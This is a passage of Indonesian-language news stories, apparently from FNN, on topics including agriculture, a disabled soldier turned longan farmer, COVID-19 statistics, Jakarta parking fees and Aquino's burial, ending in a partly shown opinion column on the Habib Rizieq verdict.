luas yang besar tapi juga mampu mengoptimalisasi lahan-lahan pekarangan di setiap rumah dengan menanam sesuatu yang bernilai ekomoni. "Jika hal tersebut dikonsolidasi dalam bentuk korporasi, itu menjadi hal yang luar biasa," katanya. Sementara itu Kepala Balitbangtan Fadjry Djufry dalam laporannya menyampaikan bahwa varietas unggul yang dihasilkan Balitbang Pertanian didedikasikan untuk mendukung CB 1 sampai CB 5, bukan hanya ada di Jawa Timur tapi tersebar ke seluruh Indonesia. "CB 1 yaitu mengembangkan kapasitas peningkatan produksi sampai CB 5 yakni meningkatkan nilai ekspor dengan Geratieks," ujarnya. Pada kesempatan itu juga, Syahrul Yasin Limpo bersama Wakil Ketua Komisi IV DPR RI Hasan Aminuddin, dan Bupati Probolinggo P. Tantriana Sari melakukan panen kacang tanah dan kedelai hitam. Kacang tanah yang dipanen merupakan varietas Litbang Garuda 5 yang saat ini tengah menjalani kerja sama kemitraan bersama PT Tuding Putra Putri Jaya memproduksi kacang garing. Sementara itu untuk kacang kedelai, termasuk varietas Detam 1 yang digunakan sebagai bahan baku kecap Kipas Sate oleh CV Mustika Digdaya. IP2TP Muneng merupakan satu di antara lima IP2TP yang berada di bawah Balai Penelitian Tanaman Aneka Kacang dan Umbi (Balitkabi) yang meneliti dan mengembangkan varietas unggul tanaman seperti kedelai, kacang tanah, kacang hijau, ubi kayu, ubi jalar dan komoditas Akabi lainnya. (mth)

"Jenderal Buah Lengkeng" Itu Bernama Sersan Dua Mugiyanto

Jakarta, FNN - Berangkat dari keterbatasan fisik akibat musibah yang menimpa dirinya sewaktu bertugas di Ambon, tidak membuat semangat hidup sosok Sersan Dua (Serda) Mugiyanto berputus asa. Serda Mugiyanto adalah anggota Bintara Pembina Desa (Babinsa) Tentara Nasional Indonesia (TNI) dari Koramil 19/Borobudur Kodim 0705 Magelang, Jawa Tengah. Personel Babinsa ini dikenal sebagai motivator, petani, koordinator petani hingga dijuluki sebagai "Jenderal buah lengkeng" oleh Kementerian Pertanian karena keberhasilan-nya merangkul dan membina hingga 10 ribu petani dari Sabang sampai Merauke. Keberhasilan Serda Mugiyanto berawal dari kisah tragis yang dialaminya saat menjalankan operasi pengamanan daerah rawan (pamrahwan) ke wilayah Ambon pada 2001. Saat itu ia berangkat bersama rombongan Batalion Infanteri Raider 408/Suhbrastha. Tepat pada November 2001, Mugiyanto bersama rekan-rekan-nya yang sedang melaksanakan patroli lapangan tanpa sengaja menginjak ranjau darat yang mengakibatkan kaki sebelah kanannya putus hingga cacat seumur hidup. Akibat ledakan dahsyat ranjau darat tersebut potongan kaki Serda Mugiyanto sampai-sampai tidak bisa ditemukan. Ia mengenang kala itu adalah perjuangan antara hidup dan mati karena kondisi-nya terus memburuk. Apalagi, dari lokasi kejadian ke rumah sakit setidaknya membutuhkan waktu empat hingga lima jam perjalanan karena cukup jauh dari pusat keramaian. Sewaktu perjalanan menuju rumah sakit rekan-rekan-nya pun sudah berpikir buruk akan kehilangan teman seperjuangan yang kala itu masih berpangkat Prajurit Dua (Prada). Kondisi semakin menegangkan karena hemoglobin (Hb) darahnya rendah atau sudah dalam kondisi mengkhawatirkan. Tidak sampai di situ, mimpi buruk masih terus menyelimuti karena tim medis kesulitan menemukan golongan darah yang cocok dengan golongan darah yang dibutuhkan Serda Mugiyanto. Apalagi, wilayah itu masih termasuk kawasan rawan konflik sehingga akses tidak semudah yang dibayangkan. Namun, takdir berkata lain. Keberuntungan berpihak pada prajurit yang dijuluki jenderal buah kelengkeng tersebut, hingga akhirnya berhasil pulih dari insiden pilu yang dialaminya. "Di sisa hidup ini, saya bertekad harus bisa bermanfaat untuk keluarga, masyarakat dan negara," ucap Serda Mugiyanto. Setelah menyadari kondisi fisik yang harus ia terima, Serda Mugiyanto awalnya memang sedikit terpuruk. Ia tidak pernah membayangkan harus kehilangan salah satu anggota tubuhnya. Apalagi, pada saat itu ia masih berstatus lajang atau belum menikah. Dengan kondisi disabilitas, bisa saja perempuan akan berpikir ulang mau menerimanya sebagai pendamping hidup. Lagi, takdir berkata lain. Ia dipertemukan dengan Dwi Astuti Sumarwati perempuan yang akhirnya dipersunting dan siap menerima segala kekurangan maupun kelebihan yang ada pada diri Serda Mugiyanto. Dari hasil pernikahannya, pasangan tersebut dikarunia tiga orang putra. Serda Mugiyanto patut bersyukur. Sebab, di balik keberhasilan yang diraih-nya hari ini tidak terlepas dari doa dan dukungan istri dan ketiganya anaknya. "Istri yang membuat saya tetap semangat, mau menerima di saat kondisi saya cacat dan penuh keterbatasan," ungkap dia. Motivator Keberhasilan demi keberhasilan terus diraih. Puncaknya, pada 2019 sang jenderal buah lengkeng ini mendapat kenaikan pangkat luar biasa dari Kopral Kepala (Kopka) naik menjadi Serda atas dedikasi-nya yang begitu luar biasa dan memotivasi banyak orang. Kenaikan pangkat luar biasa diberikan langsung oleh Kepala Staf Angkatan Darat (Kasad) Jenderal TNI Andika Perkasa. Kini, berbekal kaki palsu sebelah kanan, kegigihan dan semangat seorang prajurit TNI, Serda Mugiyanto tidak hanya menjadi motivator bagi petani di Tanah Air tetapi juga motivator untuk prajurit TNI yang juga penyandang disabilitas atau bernasib sama dengan dirinya. Bahkan, tak jarang ia diundang langsung oleh Kementerian Pertahanan untuk memberikan arahan atau berbagi ilmu kepada prajurit-prajurit TNI penyandang disabilitas. Pada intinya, Serda Mugiyanto selalu menekankan bahwa keterbatasan fisik bukan penghalang untuk berkarya dan berprestasi. Di balik usaha keras yang diperjuangkannya selama bertahun-tahun, Serda Mugiyanto selalu bermimpi seharusnya Indonesia yang memiliki sumber daya alam berkecukupan, tanah yang subur dan kondisi alam yang mendukung bisa swasembada atau memenuhi kebutuhan buah lokal tanpa harus bergantung kepada negara lain. Selama ini banyak lahan tidur yang tidak digarap secara optimal oleh masyarakat. Padahal, jika tanah tersebut dikelola dengan baik maka segala kebutuhan pangan termasuk buah-buahan bisa tercukupi tanpa harus bergantung kepada pihak lain. Namun, sayangnya, ia melihat tekad dan kemauan dari masyarakat untuk berani betul-betul terjun sebagai petani dari hati belum sepenuhnya terwujud. Hal itu bisa jadi dikarenakan stigma-stigma keliru yang selama ini berkembang. Misalnya, menganggap pekerjaan petani atau menjadi petani adalah pekerjaan rendah, bertani itu kotor, pendapatan tidak seberapa hingga tidak bisa menggunakan teknologi dalam bercocok tanam. Padahal anggapan itu keliru. Serda Mugiyanto membantah secara tegas jika ada yang berpandangan pekerjaan petani itu rendah, kotor, penghasilan pas-pasan dan lain sebagainya. Sebagai contoh, dari lahan miliknya seluas satu hektare dengan isi 250 batang buah lengkeng usia enam tahun, rata-rata bisa menghasilkan 75 kilogram buah lengkeng per batangnya dalam satu tahun. Jika dihitung kasar saja 200 batang buah lengkeng dikalikan 75 kilogram maka hasilnya sudah 15 ton. Per kilogram petani lengkeng bisa menjual hingga Rp50 ribu. Jika ditotal maka satu kali panen bisa meraup omzet hingga Rp750 juta. Dengan hasil fantastis tersebut, Serda Mugiyanto menampik keras bahwa pekerjaan petani tersebut rendah, kotor atau penghasilannya tidak seberapa. Kendati demikian, bertani tanaman seperti buah lengkeng bukan lah pekerjaan mudah. Ada beberapa hal yang mesti diperhatikan sebelum menekuni usaha tersebut. Pertama, setiap petani harus memilih bibit unggul, mengetahui lokasi yang akan ditanami, suhu lingkungan, kontur tanah, teknologi yang akan digunakan hingga perawatan. Setiap memberikan motivasi atau berbagi ilmu di berbagai kesempatan, Serda Mugiyanto kerap menyampaikan untuk menjadi seorang petani sukses disiplin adalah kunci utama. Sebab, apa yang diberikan kepada tanaman maka itu jua lah yang akan diberikannya kepada pemilik atau yang merawat. Sehingga sikap disiplin, tekun, ulet dan rajin menjadi kunci penting dalam bertani. Wisata Edukasi Salah satu kelebihan yang ditawarkan oleh petani lengkeng binaan Serda Mugiyanto ialah pembeli bisa memetik langsung dari pohonnya, berwisata sambil belajar tentang tanaman yang bernama latin dimocarpus longan tersebut. Kunjungan wisata ke perkebunan lengkeng salah satu binaannya di Desa Wringinputih, Kecamatan Borobudur, Kabupaten Magelang bisa mencapai 10 ribu jiwa dalam satu tahun sebelum pandemik COVID-19. Namun, pandemik melanda Tanah Air aktivitas atau kunjungan ke perkebunan lengkeng langsung dibatasi untuk mencegah penularan virus. Biasanya, pengunjung yang datang tidak hanya memetik buah dari pohon tetapi sembari berwisata. Lokasi perkebunan yang berada di Jalan Sentanu tersebut, juga tergolong sejuk dan dikelilingi pepohonan rindang yang membuat pengunjung betah berlama-lama. Di tengah perkebunan juga disediakan semacam gazebo sehingga wisatawan bisa beristirahat. Tidak hanya buah, para wisatawan yang datang juga bisa membeli bibit buah lengkeng yang sudah disiapkan oleh pengelola. Selain itu, pembeli juga akan diajarkan langsung cara budi daya tanaman lengkeng yang baik dan benar. (mth)

Rest Area Salatiga Jadi Destinasi Wisata Pengguna Tol

Semarang, FNN - PT Trans Marga Jateng (TMJ) menghadirkan "rest area" Pendopo Salatiga di KM 456 ruas Tol Semarang-Solo yang tidak sekadar sebagai tempat istirahat namun juga sebagai destinasi wisata bagi para pengguna jalan bebas hambatan tersebut. Direktur Utama PT TMJ Denny Chandra Irawan dalam siaran pers di Semarang, Sabtu, mengatakan tempat istirahat seluas 3,3 ha ini berada di kedua sisi jalan tol dan dilengkapi dengan sebuah jembatan penghubung. Ia menjelaskan terdapat lima bangunan utama yang menggambarkan keberadaan lima gunung di wilayah Jawa Tengah, yaknk Gunung Merapi, Merbabu, Sumbing, Sindoro, dan Ungaran. Menurut dia, terdapat berbagai fasilitas pendukung di kedua sisi tempat istirahat tersebut, seperti tempat parkir luas yang mampu menampung kendaraan besar dan kecil, puluhan toilet, sekitar 40.gerai UMKM.yang menawarkan produk kuliner, kerajinan, busana, hingga oleh-oleh khas Jawa Tengah. Konsep tempat istirahat ini sendiri, kata dia, merangkul para pelaku UMKM di wilayah Kota Semarang, Solo, Salatiga, Boyolali, dan daerah sekitarnya sehingga perekonomian berjalan dan bermanfaat bagi masyarakat. "Pengendara dari arah Jakarta maupun Solo bisa melepas lelah di tempat istirahat ini dan mengembalikan stamina sebelum melanjutkan perjalanan kembali," katanya. Rest area KM 456 ini sendiro mendapat penghargaan dari Kementerian PUPR sebagai tempat istirahat memiliki kualitas pelayanan dan pengelolaan yang baik, memenuhi aspek kenyamanan, kerapian dan kebersihan lingkungan. (mth)

KKP Bangun Pabrik Es 15 ton di Pomako Timika Tahun Ini

Timika, FNN - Kementerian Kelautan dan Perikanan tahun ini akan membangun pabrik es berkapasitas 15 ton di kawasan Sentra Kelautan dan Perikanan Terpadu (SKPT) Pomako-Timika guna mendorong peningkatan hasil tangkapan nelayan dan kualitas ikan. Dirjen Penguatan Daya Saing Produk Kelautan dan Perikanan KKP Artati Widiarti di Timika, Sabtu, mengatakan dengan dibangunnya pabrik es di kawasan SKPT Pomako-Timika itu maka nelayan yang akan melaut akan membawa serta es untuk menjaga mutu ikan tetap awet dan tidak rusak. "Kalau mutu ikan bagus, maka harga jualnya pun pasti mahal dan kandungan gizinya bagus. Kami akan segera bangun pabrik es di belakang fasilitas coldstorage yang sudah ada di SKPT Pomako," kata Artati. Widiarti memuji perkembangan SKPT Pomako yang dalam waktu beberapa meningkat pesat kemajuannya, terutama menjadi sentra berkumpulnya ratusan kapal penangkap ikan di wilayah perairan Laut Arafura. "Dulu tahun 2015 saya ke sini melihat persiapan pembangunan SKPT Pomako. Saya senang sekali kemajuannya sangat pesat. Sudah ada berbagai fasilitas, ekonomi yang tumbuh di sektor perikanan ini juga mulai kelihatan menggeliat. Kalau dulu masih sangat terbatas sekali," ujarnya. Ia berharap kehadiran SKPT Pomako-Timika itu juga ikut memicu pertumbuhan ekonomi terutama warga yang bergerak di sektor perikanan di wilayah pesisir Mimika. "Sektor perikanan di Mimika diharapkan menjadi tulang punggung ekonomi masyarakat terutama di wilayah pesisir sehingga masyarakat bisa sejahtera tetapi juga mereka semakin sehat karena mengonsumsi ikan yang cukup, bukan hanya untuk dijual," kata Artati. Melihat potensi perikanan yang sangat kaya di wilayah perairan Laut Arafura, dimana SKPT Pomako-Timika menjadi salah satu sentra kapal-kapal penangkap ikan, Artati berharap kawasan itu nantinya terus tumbuh dan semakin menarik minat investor untuk mengembangkan industri pengolahan ikan maupun industri pembekuan ikan. "Kita harapkan semakin banyak investor yang masuk sehingga ikan-ikan hasil tangkapan nelayan bisa tertampung dan terbeli semuanya dengan harga yang bagus. Untuk itu, para nelayan juga harus mulai menjaga mutu ikannya, bagaimana mengawetkan ikan supaya mutunya terjaga, maka harus ada es," jelas Artati. (mth)

Kasus COVID-19 Bertambah Sampai 21.095

Jakarta, FNN - Jumlah akumulatif kasus COVID-19 di Indonesia pada Sabtu bertambah sampai 21.095 menjadi total 2.093.962 kasus menurut data Satuan Tugas Penanganan COVID-19. Data Satuan Tugas menunjukkan, penambahan kasus COVID-19 pada Sabtu paling banyak terjadi di DKI Jakarta (9.271) diikuti oleh Jawa Barat (3.787), Jawa Tengah (2.305), Jawa Timur (989), dan Daerah Istimewa Yogyakarta (782). Hanya Provinsi Kalimantan Utara yang tercatat tidak mengalami penambahan kasus infeksi virus corona pada Sabtu. Satuan Tugas Penanganan COVID-19 juga melaporkan bahwa pada Sabtu jumlah penderita COVID-19 yang sembuh bertambah 7.396 orang menjadi total 1.842.457 orang. DKI Jakarta tercatat sebagai provinsi dengan penambahan jumlah pasien COVID-19 sembuh paling banyak (2.725) disusul oleh Jawa Barat (1.196), Jawa Timur (578), Jawa Tengah (569), dan Sumatera Barat (357). Sedangkan jumlah penderita infeksi virus corona yang meninggal dunia tercatat bertambah 358 orang menjadi seluruhnya 56.729 orang. Satuan Tugas mencatat jumlah kasus aktif COVID-19, yang mencakup penderita infeksi virus corona yang masih menjalani perawatan dan karantina, bertambah 13.341. Jumlah penderita COVID-19 yang masih menjalani perawatan dan karantina tercatat seluruhnya 194.776 orang. Secara akumulatif, jumlah kasus COVID-19 paling banyak ada di DKI Jakarta (510.667) disusul Jawa Barat (364.315), Jawa Tengah (244.241), Jawa Timur (168.795), dan Kalimantan Timur (75.412). DKI Jakarta juga mencatatkan jumlah akumulatif pasien COVID-19 sembuh paling banyak (450.746) disusul Jawa Barat (318.595), Jawa Tengah (201.931), Jawa Timur (149.351), dan Kalimantan Timur (71.025). (mth)

Wagub Optimistis Ekonomi Syariah Tingkatkan Pembangunan di Sulbar

Mamuju, FNN - Wakil Gubernur Sulawesi Barat Enny Anggraeni Anwar optimistis ekonomi syariah dapat membantu meningkatkan pembangunan di daerah itu. "Saya berharap, kegiatan pekan ekonomi syariah yang diselenggarakan oleh Bank Indonesia (BI) dapat berkembang menjadi agenda rutin tahunan dalam mendukung pembangunan di Sulbar yang maju dan 'Malaqbi' atau bermartabat," kata Enny Anggraeni Anwar di Mamuju, Sabtu. Wagub berharap kolaborasi yang dilakukan antara Pemprov Sulbar dan Bank Indonesia melalui pekan ekonomi syariah yang telah digelar pada 21-25 Juni 202 dapat tetap terpelihara dengan baik dalam mewujudkan pembangunan Sulbar. Pemerintah Provinsi Sulbar lanjutnya, mengapresiasi pekan ekonomi syariah yang dinilai banyak sisi positifnya, apalagi dengan melibatkan pihak pesantren dan anak-anak madrasah. "Jadi Inshaa Allah, perkembangan ekonomi di pesantren lebih maju lagi. Seperti yang diketahui bersama bahwa dalam pondok pesantren juga banyak kegiatan-kegiatan ekonomi yang bisa menghasilkan dan menghidupi pesantrennya," tutur Enny Anggraeni Anwar. "Nah, dengan adanya bantuan dan dukungan yang diberikan Bank Indonesia, dapat mereka manfaatkan dengan sebaik-baiknya, untuk perkembangan pesantren ini dan juga menggeliatkan ekonomi di tengah-tengah masyarakat," tambahnya. Jika melihat penduduk Sulbar yang mayoritas beragama Islam, konsep ekonomi dan keuangan syariah menurut Enny Anggraeni Anwar, akan berkembang dengan pesat di daerah itu "Potensi pengembangan ekonomi syariah Sulbar sangat besar dan pemprov melihat hal ini sebagai sebuah peluang untuk bisa dikembangkan dengan lebih serius ke depan," katanya. Sementara itu Kepala Bank Indonesia Perwakilan Sulbar Budi Sudaryono menyampaikan terima kasih kepada Pemprov Sulbar dan pihak-pihak yang mendukung penyelenggaraan pekan ekonomi syariah. "Ke depan, kami akan terus mendorong sinergi dengan 'stakeholders' untuk membangkitkan potensi ekonomi dan keuangan syariah dalam pemulihan ekonomi di Sulbar," ujar Budi Sudaryono. Pada penutupan pekan ekonomi syariah tersebut, Bank Indonesia menyelenggarakan beberapa kegiatan ekonomi syariah sebagai tanda kebangkitan ekonomi Sulbar, antara lain penyerahan secara simbolis program dedikasi untuk negeri, penandatanganan "business to business" antara pondok pesantren dengan pelaku usaha dan diakhiri dengan pengukuhan Himpunan Ekonomi dan Bisnis Pondok Pesantren (HEBITREN) tingkat provinsi, pertama yang terbentuk di Sulampua (Sulawesi dan Papua). (mth)

Dinkes: Tak Semua Kasus Positif COVID-19 Perlu Dirawat di RS

Jakarta, FNN - Dinas Kesehatan DKI Jakarta menyatakan tidak semua warga yang positif terpapar COVID-19 perlu dirawat di rumah sakit. Menurut Kepala Dinas Kesehatan DKI Jakarta Widyastuti, meningkatnya kasus positif ini, bahkan laporan hari Sabtu ini, angkanya mencapai 9.271 orang, turut berpengaruh pada okupansi tempat tidur pada rumah sakit (RS) untuk perawatan pasien COVID-19. "Perlu diketahui masyarakat bahwa tidak semua penderita COVID-19 harus dirawat di RS. Kementerian Kesehatan juga telah mengeluarkan kriteria prioritas pasien yang bisa dirawat di RS, yakni utamanya yang bergejala sedang, berat dan kritis," kata Widyastuti di Jakarta, Sabtu. Sementara untuk yang bergejala ringan, seperti batuk, pilek, sakit kepala, radang tenggorokan, tidak sesak napas maupun yang tanpa gejala, Widyastuti menyebutkan bisa menjalani isolasi mandiri di rumah atau fasilitas isolasi terkendali yang disediakan. Widyastuti menjelaskan ada sejumlah kriteria prioritas pasien yang perlu dirawat di RS yang musti diketahui masyarakat, antara lain jika saturasi oksigen berada di bawah 95 persen, mengalami sesak napas, kesulitan/tidak dapat berbicara, penurunan kesadaran, terdapat komorbid dan bergejala sedang dengan pneumonia. Untuk itu, masyarakat sebaiknya tidak panik saat dinyatakan positif COVID-19. Jika terkonfirmasi positif, segera lapor ke Satgas COVID-19 tingkat RT dan Puskesmas terdekat agar dapat dilakukan pemeriksaan awal dan diberikan pengantar apabila memerlukan isolasi terkendali," katanya. Selain itu, kenali juga gejala pada tubuh masing-masing. Jika kondisi masih dalam skala yang tidak berat, maka cukup menjalani isolasi mandiri atau isolasi di fasilitas isolasi terkendali dan tidak perlu dirawat di RS. Adapun terkait dengan RS yang merawat pasien COVID-19 di Jakarta, Widyastuti menyatakan saat ini sebanyak 140 RS di wilayah DKI Jakarta telah merawat pasien COVID-19. Dari 140 RS tersebut, terdapat RSUD/RSKD di bawah Pemprov DKI Jakarta yang seluruhnya telah merawat COVID-19. Di antaranya, RSUD Tanah Abang, RSUD Cempaka Putih, RSUD Sawah Besar, RSUD Tugu Koja, RSUD Pademangan, RSUD Cengkareng, RSUD Kalideres, RSUD Pasar Minggu, RSUD Kebayoran Lama, RSUD Kebayoran Baru, RSUD Jatipadang, RSUD Kramat Jati, RSUD Ciracas, RSKD Duren Sawit, RSUD Tarakan, RSUD Koja, RSUD Pasar Rebo, RSUD Budhi Asih dan RS Adhyaksa. "Walaupun demikian, kami akan terus berkoordinasi dengan Kementerian Kesehatan dan fasilitas-fasilitas kesehatan untuk menambah jumlah tempat tidur perawatan COVID-19 di Jakarta," kata Widyastuti. Widyastuti menambahkan, pihaknya memastikan bahwa ketersediaan oksigen masih aman di DKI Jakarta. Dalam pendistribusiannya, jajaran Dinas Kesehatan Provinsi DKI Jakarta juga berkolaborasi dengan Dinas Perhubungan DKI Jakarta dan Satpol PP DKI Jakarta. "Demikian pula dengan kesiapan obat-obatan yang dipastikan aman dan terkendali. Untuk obat-obatan didistribusikan melalui Suku Dinas Kesehatan di wilayah Kota dan Kabupaten. Kami pastikan semuanya aman dan terkendali. Keselamatan warga adalah yang utama," ujar Widyastuti. (mth)

Ketua DPD RI Imbau DKI Kaji Rencana Naikkan Tarif Parkir Maksimal

Jakarta, FNN - Ketua Dewan Perwakilan Daerah (DPD) RI AA La Nyalla Mahmud Mattalitti mengimbau Pemerintah Provinsi DKI Jakarta mengkaji lagi rencana menaikkan tarif parkir maksimal untuk kendaraan. "Saya mengimbau agar rencana kenaikan tarif parkir di DKI Jakarta betul-betul dikaji secara seksama. Bagaimana tingkat efektivitasnya dan apakah besaran tersebut masuk akal dan bisa dipenuhi oleh warga,” kata LaNyalla melalui keterangan tertulis di Jakarta, Sabtu. La Nyalla menyatakan, penyesuaian aturan tarif baru kendaraan harus mempertimbangkan kondisi ekonomi warga DKI Jakarta, terlebih saat ini masih masa pandemi COVID-19. "Saya rasa tidak elok apabila kenaikan tarif parkir dilakukan saat pandemi masih melanda. Harus ada evaluasi mengenai kapan kenaikan tarif parkir mulai dilakukan,” ujar senator asal Jawa Timur itu. La Nyalla menyarankan Pemprov DKI lebih fokus meningkatkan pelayanan dan fasilitas transportasi umum yang dianggap masih kurang memadai. Terlebih pelayanan transportasi massal, seperti armada bus dan kereta rel listrik yang masih kurang dan harus siap saat menghadapi penambahan jumlah penumpang. Mantan Ketum PSSI itu mengaku pesimistis penyesuaian tarif parkir maksimal kendaraan akan berdampak terhadap pengendara mobil pribadi akan beralih ke transportasi umum jika tidak ada perbaikan maupun penambahan armada. Pemprov DKI Jakarta beralasan kenaikan tarif parkir dilakukan untuk menekan kendaraan pribadi dan membuat masyarakat beralih ke transportasi umum. Hal tersebut dianggap penting sebagai upaya menekan kemacetan di Jakarta. LaNyalla menyadari pemerintah daerah harus berupaya mencari inovasi dan kreasi untuk memperoleh Pendapatan Asli Daerah (PAD), namun kebijakan tersebut jangan menimbulkan kontroversi atau permasalahan baru. LaNyalla khawatir kenaikan tarif parkir maksimal kendaraan akan menambah kantong parkir liar dan merugikan warga, seperti pengemudi ojek daring yang mendapatkan pesanan makanan atau barang harus membayar parkir. Sebelumnya, Dinas Perhubungan DKI Jakarta mewacanakan penyesuaian tarif parkir maksimal kendaraan berdasarkan Peraturan Gubernur (Pergub) Provinsi DKI Jakarta Nomor 31 Tahun 2017. Dalam penjelasan Dishub DKI, tarif parkir maksimal akan diberlakukan bagi kendaraan Golongan A dan Golongan B yang parkir di koridor KPP (Kawasan Pengendali Parkir). Ini merupakan lokasi di mana jalan utamanya sudah terintegrasi dengan angkutan umum massal. Tarif parkir Golongan A untuk mobil bisa mencapai Rp 60.000 dan Golongan B Rp 40.000 per jam. Kemudian untuk tarif parkir motor di KPP Golongan A diusulkan paling tinggi Rp18.000 dan Golongan B paling tinggi Rp12.000 per jam. Besaran tarif itu akan berlaku untuk "onstreet" dan "offstreet" pada lahan milik Pemprov DKI. Tarif parkir mobil Golongan A yang berlaku saat ini, paling tinggi mencapai Rp 9.000 dan untuk golongan B paling tinggi Rp 6.000. Sementara itu untuk tarif parkir motor yang paling tinggi Rp4.500 untuk golongan A dan Rp 3.000 per jam untuk Golongan B. Nantinya, kenaikan tarif parkir berlaku juga di lokasi lahan milik swasta meskipun biaya yang dikenakan lebih murah. Pemprov DKI mengusulkan tarif parkir tertingginya senilai Rp25.000 per jam. Dalam waktu dekat, Dishub DKI Jakarta juga akan melakukan uji coba tarif tertinggi parkir di tiga lokasi, yakni di kawasan parkir IRTI Monas, lapangan parkir Samsat Jakarta Barat, dan Blok M Square. Ada beberapa kriteria yang akan dikenakan tarif tertinggi, di antaranya kendaraan dengan emisi tinggi dan kendaraan yang telat membayar pajak. (mth)

Oposisi Minta Darurat Malaysia Hanya Sampai Agustus

Kuala Lumpur, FNN - Partai politik oposisi Malaysia yang tergabung dalam Pakatan Harapan meminta pemerintah setempat tidak memperpanjang lagi proklamasi darurat setelah 1 Agustus 2021. Pernyataan tersebut disampaikan oleh Presiden Partai Keadilan Rakyat (Keadilan) Datuk Seri Anwar Ibrahim, Presiden Partai Amanah Negara (Amanah) Hj Mohamad Sabu dan Presiden Partai Tindakan Demokratik (DAP) Lim Guan Eng di Kuala Lumpur, Jumat. "Majelis Presiden Pakatan Harapan menjunjung titah pandangan Raja-Raja Melayu berkaitan isu darurat seperti yang terkandung di dalam pernyataan media pada 16 Juni lalu yaitu tidak ada keperluan meletakkan negara di bawah pemerintahan darurat setelah 1 Agustus 2021," katanya. Pakatan Harapan mengekalkan pendirian yang telah diumumkan sebelum ini yaitu darurat yang ditetapkan pada 11 Januari lalu tidak memberi dampak kepada usaha mengekang penularan pandemik COVID-19 dan perlu ditamatkan segera. "Malah berdasarkan bukti sains dan data, keadaan pandemik semakin meruncing dan bertambah parah sejak darurat diberlakukan dengan jumlah kasus positif dan kematian harian yang tetap tinggi," katanya. Komite Khusus Bebas Darurat akan mengadakan musyawarah terakhir pada Juli ini. "Dalam musyawarah tersebut wakil Pakatan Harapan akan menegaskan bahwa komite perlu menjunjung pandangan DYMM Raja-Raja Melayu berhubung isu darurat, menerima bukti sains dan data bahwa darurat tidak memberi dampak kepada usaha pengawalan pandemik COVID-19," katanya. Mereka juga menasihati Yang di-Pertuan Agong atau Raja Malaysia untuk tidak melanjutkan darurat setelah 1 Agustus 2021 sedangkan Komite Khusus Bebas Darurat juga akan tamat fungsinya dan bubar setelah 1 Agustus 2021. (sws)

Aquino Dimakamkan di Samping Makam Orang Tuanya

Manila, FNN - Mantan presiden Filipina Benigno Aquino dimakamkan di perkuburan Manila pada Sabtu di samping orang tuanya, dua ikon demokrasi negara Asia Tenggara itu. Ratusan pelayat berpakaian hitam dan putih, beberapa juga mengenakan pakaian kuning - warna yang diasosiasikan dengan keluarga Aquino dan revolusi 1986 yang menggulingkan seorang diktator - pita dan masker wajah, menghadiri misa dan upacara pemakaman. Aquino, presiden dari 2010 hingga 2016, meninggal pada usia 61 di sebuah rumah sakit Manila pada Kamis karena gagal ginjal akibat diabetes. "Untuk pria yang sangat kami syukuri sebagai saudara kami, kami akan selamanya bangga padamu, terima kasih, kami merindukanmu dan mencintaimu," kata Maria Elena Aquino-Cruz, kakak perempuan Aquino, pada misa pemakaman. . "Untuk kalian semua, bos Noy, terima kasih." Jenazah Aquino dikremasi pada Kamis. Ribuan orang mengantre untuk melayat di sebuah gereja di almamaternya pada Jumat. Warga Filipina berbaris di sepanjang jalan untuk memberi penghormatan selama satu jam konvoi puluhan kendaraan dari almamaternya, Universitas Ateneo de Manila, ke pemakaman di selatan ibu kota. Militer memberi hormat dengan 21 tembakan meriam dan sebuah helikopter menghujani bunga kuning. Di kediaman Aquino di jantung ibu kota, para pendukung meninggalkan bunga krisan, lonceng kuning, dan bunga matahari untuk mendiang pemimpin itu. Di antara mereka yang memberi hormat kepada Aquino adalah wakil presiden dan sekutu politik Leni Robredo, dan teman-teman dekat. Sebagian besar pendukung diblokir di pintu masuk pemakaman untuk mencegah pertemuan massal dan penyebaran COVID-19. "Saya menghormati seorang pemimpin yang rendah hati dan memberikan cinta sejati untuk negara, rakyat, dan Tuhan," kata Thelma Chua, 64, yang mengenakan kemeja kuning saat pemakaman, kepada Reuters. "Saya berdoa untuk keluarga lain dengan sikap seperti Noy dan orang tuanya yang akan memperjuangkan kebenaran, keadilan, kesetiaan, cinta kepada Tuhan dan negara." Dikenal populer sebagai Noynoy, Aquino membawa gelombang dukungan publik ke kursi kepresidenan setelah kematian ibunya pada 2009, pemimpin "Kekuatan Rakyat" yang dihormati Corazon Aquino, yang menjadi presiden dari 1986 hingga 1992. Ayahnya yang senama, seorang kritikus setia diktator Ferdinand Marcos, dibunuh ketika dia kembali dari pengasingan politik pada 1983, menanam benih untuk revolusi Kekuatan Rakyat 1986 yang menjatuhkan orang kuat itu dari jabatan. Sebagai presiden, Aquino muda memimpin Filipina dalam menghilangkan citra abadi "orang sakit Asia" melalui pemerintahan yang lebih baik dan pertumbuhan ekonomi yang kuat. Dia menantang klaim Beijing atas Laut China Selatan di hadapan pengadilan arbitrase di Den Haag pada 2013. Presiden Rodrigo Duterte tidak menghadiri pemakaman tersebut. Dia menyatakan masa berkabung selama 10 hari, dengan bendera nasional di gedung-gedung pemerintah berkibar setengah tiang. Aquino, yang menjalani kehidupan pribadi setelah mengundurkan diri, meninggalkan empat saudara perempuan. (sws)

Bima dan Khadwanto Dipelototi

Secara teori majelis hakim itu harus independen. Akan tetapi, dalam praktiknya banyak dicemari oleh berbagai godaan, baik uang maupun tekanan politik. Oleh M Rizal Fadillah HUKUMAN empat tahun penjara terhadap Habib Rizieq Syihab dalam kasus Rumah Sakit Ummi Bogor menuai kritikan. Keraguan terhadap keadilan hukum telah menjadi suara rakyat yang mengiringi keyakinan bahwa kasus HRS ini sarat dengan kepentingan politik dan kekuasaan. Dua figur yang banyak mendapat sorotan pasca vonis PN Jakarta Timur tersebut adalah Bima Arya, Wali Kota Bogor dan Khadwanto, Ketua Majelis Hakim pengetuk palu empat tahun penjara kepada HRS. Bima Arya adalah pelapor kepada pihak kepolisian atas perbuatan HRS dan Direktur RS Ummi, dr. Andi Tata. Laporan Bima Arya dianggap penyebab dari putusan hakim yang dinilai berlebihan dan tidak adil tersebut. Oleh karens itu, publik langsung menyorot dan memelototi Wali Kota Bogor, yang juga kader PAN tersebut. Kecaman, caci maki, bahkan do'a kutukan pun terbaca di media sosial. Foto Bima Arya dipampang netizen. Miris dan agak mengerikan jika membaca do'a kutukan netizen yang kecewa dan merasa jengkel kepadanya. Figur kedua tentu Khadwanto SH Hakim Ketua. Selain kontroversial dengan menghukum berat untuk sebuah kasus ringan, juga penawaran pengampunan presiden kepada HRS menjadi hal unik dan aneh. Memperkuat dugaan adanya intervensi kekuasaan. Secara teori majelis hakim itu harus independen. Akan tetapi, dalam praktiknya banyak dicemari oleh berbagai godaan, baik uang maupun tekanan politik. Hadits 